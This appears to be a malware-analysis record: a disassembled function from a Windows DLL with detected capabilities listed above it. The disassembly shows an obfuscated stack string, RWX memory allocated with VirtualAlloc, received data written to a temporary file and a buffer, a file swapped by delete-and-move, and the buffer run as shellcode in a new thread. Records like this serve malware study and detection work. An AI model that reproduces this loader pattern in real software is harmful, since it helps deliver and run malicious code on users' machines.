Function at 0x18000b298
Capabilities:
Allocate or change rwx memory
Clear file content
Contain obfuscated stackstrings
Create thread
Delete file
Execute shellcode via indirect call
Move file
Spawn thread to rwx shellcode
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x270
mov rdi, r8
mov rbp, rdx
xor r14d, r14d
mov ebx, 0x103
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8, rbx
mov dword [rax + 0x20], r14d
mov byte [rsp + 0x50], r14b
call fcn.180015710
lea rcx, [rsp + 0x161]
mov r8, rbx
xor edx, edx
mov byte [rsp + 0x160], r14b
call fcn.180015710
mov byte [rsp + 0x40], WSAGetLastError
mov byte [rsp + 0x41], 0x69
mov byte [rsp + 0x42], 0x62
mov byte [rsp + 0x43], 0x76
mov byte [rsp + 0x44], WSAGetLastError
mov byte [rsp + 0x45], 0x63
mov byte [rsp + 0x46], 0x2e
mov byte [rsp + 0x47], WSAStartup
mov byte [rsp + 0x48], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x49], 0x66
mov byte [rsp + 0x4a], r14b
call fcn.180002564
lea r9, [rsp + 0x40]
lea r8, [0x180023124]
lea rdx, [0x18001d590]
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rsp + 0x50]
lea rdx, str._s.TMP
lea rcx, [rsp + 0x160]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r9d, [r14 + 0x40]
mov edx, 0x1e000
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
cmp rax, r14
jne 0x18000b38d
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000b401
mov r8d, 2
mov qword [rsp + 0x30], r14
lea rcx, [rsp + 0x160]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov r12, rax
mov dword [rsp + 0x20], r8d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000b3d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov word [rdi + 0xe], ax
jmp 0x18000b3d8
mov word [rdi + 0xe], r14w
mov r8d, 0x7530
mov rdx, rdi
mov rcx, rbp
call fcn.180006c30
mov ebx, eax
cmp rsi, 0xffffffffffffffff
je 0x18000b3ff
cmp eax, r14d
je 0x18000b46e
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
cmp word [rdi + 0xe], r14w
jne 0x18000b48d
cmp word [rdi + 8], r14w
je 0x18000b48d
mov eax, 5
cmp ax, word [rdi + 4]
jne 0x18000b488
movzx r8d, word [rdi + 8]
lea r9, [rsp + 0x2b8]
lea rdx, [rdi + 0x10]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
movzx r8d, word [rdi + 8]
lea rdx, [rdi + 0x10]
mov rcx, r12
call fcn.180016360
movzx r11d, word [rdi + 8]
add r12, r11
mov r8d, 0x7530
mov rdx, rdi
mov rcx, rbp
call fcn.180006aa4
mov ebx, eax
cmp eax, r14d
je 0x18000b41d
jmp 0x18000b48d
mov ebx, 0x54f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, r14d
jne 0x18000b50f
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov ebx, 0x4c7
call fcn.180002564
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov r11, qword [rbp]
mov rcx, rbp
call qword [r11 + 0x30]
xor r9d, r9d
mov r8, r13
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x18000b3ff